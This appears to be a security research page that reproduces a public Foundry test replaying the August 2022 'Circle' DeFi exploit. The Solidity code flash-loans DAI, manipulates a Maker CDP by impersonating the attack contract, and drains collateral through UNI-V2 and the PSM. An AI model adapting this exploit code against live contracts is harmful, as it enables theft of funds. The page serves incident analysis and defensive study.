Skip to content
THREATWIRE

Public reproduction file

src/test/2022-08/Circle_exp1.sol

Public reproduction file for dataset entry Circle.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-08/Circle_exp1.sol149 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5
6// @KeyInfo - Total Lost : ~$50.5K
7// Attacker : https://etherscan.io/address/0xdfdea277f6b44270bcb804997d1e6cc4ad8407db
8// Attack Contract : https://etherscan.io/address/0xfd51531b26f9be08240f7459eea5be80d5b047d9
9// Vulnerable Contract : https://etherscan.io/address/0xae461ca67b15dc8dc81ce7615e0320da1a9ab8d5
10// Attack Tx : https://etherscan.io/tx/0xa4e650772f6e6b7ecc0964fe4c3854850669d1467570a2fa2b6edfa0f112c4b7
12// @Info
13// Vulnerable Contract Code : https://etherscan.io/address/0xae461ca67b15dc8dc81ce7615e0320da1a9ab8d5#code
15// @Analysis
16// Post-mortem : https://app.blocksec.com/explorer/tx/eth/0xa4e650772f6e6b7ecc0964fe4c3854850669d1467570a2fa2b6edfa0f112c4b7
17// Twitter Guy :
18// Hacking God :
19pragma solidity ^0.8.0;
21import "forge-std/Test.sol";
22import "./../interface.sol";
24interface IMakerPool {
25 function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external returns (bool);
28struct Urn {
29 uint256 ink; // Locked Collateral [wad]
30 uint256 art; // Normalised Debt [wad]
33struct Ilk {
34 uint256 Art; // Total Normalised Debt [wad]
35 uint256 rate; // Accumulated Rates [ray]
36 uint256 spot; // Price with Safety Margin [ray]
37 uint256 line; // Debt Ceiling [rad]
38 uint256 dust; // Urn Debt Floor [rad]
41interface IMakerVat {
42 function urns(bytes32, address) external view returns (Urn memory);
43 function hope(
44 address
45 ) external;
46 function heal(
47 uint256
48 ) external;
49 function ilks(
50 bytes32
51 ) external view returns (Ilk memory);
54interface IMakerManager {
55 function urns(
56 uint256
57 ) external view returns (address);
58 function join(address, uint256) external;
59 function flux(uint256, address, uint256) external;
60 function frob(uint256, int256, int256) external;
61 function open(bytes32, address) external returns (uint256);
62 function cdpAllow(uint256, address, uint256) external;
65interface IUniv2 {
66 function exit(address, uint256) external;
69interface IUniv2Token {
70 function burn(
71 address
72 ) external returns (uint256, uint256);
75interface Mcd {
76 function sellGem(address, uint256) external;
79contract Circle is BaseTestWithBalanceLog {
80 address private constant maker = 0x1EB4CF3A948E7D72A198fe073cCb8C7a948cD853;
81 address private constant susd = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51;
82 address private constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
83 address private constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
85 address maker_cdp_manager = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39;
86 address maker_mcd_join_dai = 0x9759A6Ac90977b93B58547b4A71c78317f391A28;
87 address make_mcd_vat = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B;
88 address univ2 = 0xA81598667AC561986b70ae11bBE2dd5348ed4327;
89 address univ2_token = 0xAE461cA67B15dc8dc81CE7615e0320dA1A9aB8D5;
90 address mcd = 0x89B78CfA322F6C5dE0aBcEecab66Aee45393cC5A;
92 address circle = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
94 address allower = 0x0A59649758aa4d66E25f08Dd01271e891fe52199;
96 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
98 function setUp() public {
99 cheats.createSelectFork("mainnet", 15_331_020 - 1);
100 }
102 function testExploit() public {
103 emit log_named_decimal_uint(
104 "[Begin] Attacker Circle before exploit", IERC20(circle).balanceOf(address(this)), 6
105 );
106 uint256 amount = 2_437_926_935_218_598_618_037_988;
107 bytes memory data =
108 "0x0000000000000000000000000000000000000000000000000000000000006e970000000000000000000000000000000000000000000000000000000000000000";
109 IMakerPool(maker).flashLoan(address(this), dai, amount, data);
110 emit log_named_decimal_uint("[End] Attacker Circle after exploit", IERC20(circle).balanceOf(address(this)), 6);
111 }
113 function onFlashLoan(
114 address initiator,
115 address token,
116 uint256 amount,
117 uint256 fee,
118 bytes calldata data
119 ) external returns (bytes32) {
120 address urns_address = IMakerManager(maker_cdp_manager).urns(28_311);
121 Urn memory urn = IMakerVat(make_mcd_vat).urns(
122 0x554e495632444149555344432d41000000000000000000000000000000000000, urns_address
123 );
125 Ilk memory ilk =
126 IMakerVat(make_mcd_vat).ilks(0x554e495632444149555344432d41000000000000000000000000000000000000);
128 uint256 amount_dai = IERC20(dai).balanceOf(address(this));
129 IERC20(dai).approve(maker_mcd_join_dai, amount_dai);
131 IMakerManager(maker_mcd_join_dai).join(urns_address, amount_dai);
133 cheats.prank(0xfd51531b26f9Be08240f7459Eea5BE80D5B047D9); // borrow the authority of cdp 28311 (assigned before)
134 // dink = 0-urn.ink/4 = -1104761777152681125
135 // dart = 0-urn.art/4 = -2419153952397280665329975
136 IMakerManager(maker_cdp_manager).frob(28_311, -1_104_761_777_152_681_125, -2_419_153_952_397_280_665_329_975);
137 cheats.prank(0xfd51531b26f9Be08240f7459Eea5BE80D5B047D9);
138 IMakerManager(maker_cdp_manager).flux(28_311, address(this), 1_104_761_777_152_681_125);
139 IUniv2(univ2).exit(address(this), 1_104_761_777_152_681_125);
141 IERC20(univ2_token).transfer(univ2_token, 1_104_761_777_152_681_125);
142 (uint256 amount0, uint256 amount1) = IUniv2Token(univ2_token).burn(address(this));
144 IERC20(circle).approve(allower, type(uint256).max);
145 Mcd(mcd).sellGem(address(this), 1_193_139_061_611);
146 IERC20(dai).approve(maker, type(uint256).max);
147 return 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9;
148 }

Analysis

Dataset entry

Public Foundry test for “Circle” (2022-08-13). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xdfdea277f6b44270bcb804997d1e6cc4ad8407db

  • Attack Contract

    0xfd51531b26f9be08240f7459eea5be80d5b047d9

  • Vulnerable Contract

    0xae461ca67b15dc8dc81ce7615e0320da1a9ab8d5

  • Attack Tx

    0xa4e650772f6e6b7ecc0964fe4c3854850669d1467570a2fa2b6edfa0f112c4b7

File record

Name
Circle
Path
src/test/2022-08/Circle_exp1.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
11fbaf8ce1aad426c6bd9165c715e133bb3995a0
Language
Solidity
Size
150 lines
Date
2022-08-13
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-08/Circle_exp1.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 11fbaf8ce1aad426c6bd9165c715e133bb3995a0, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.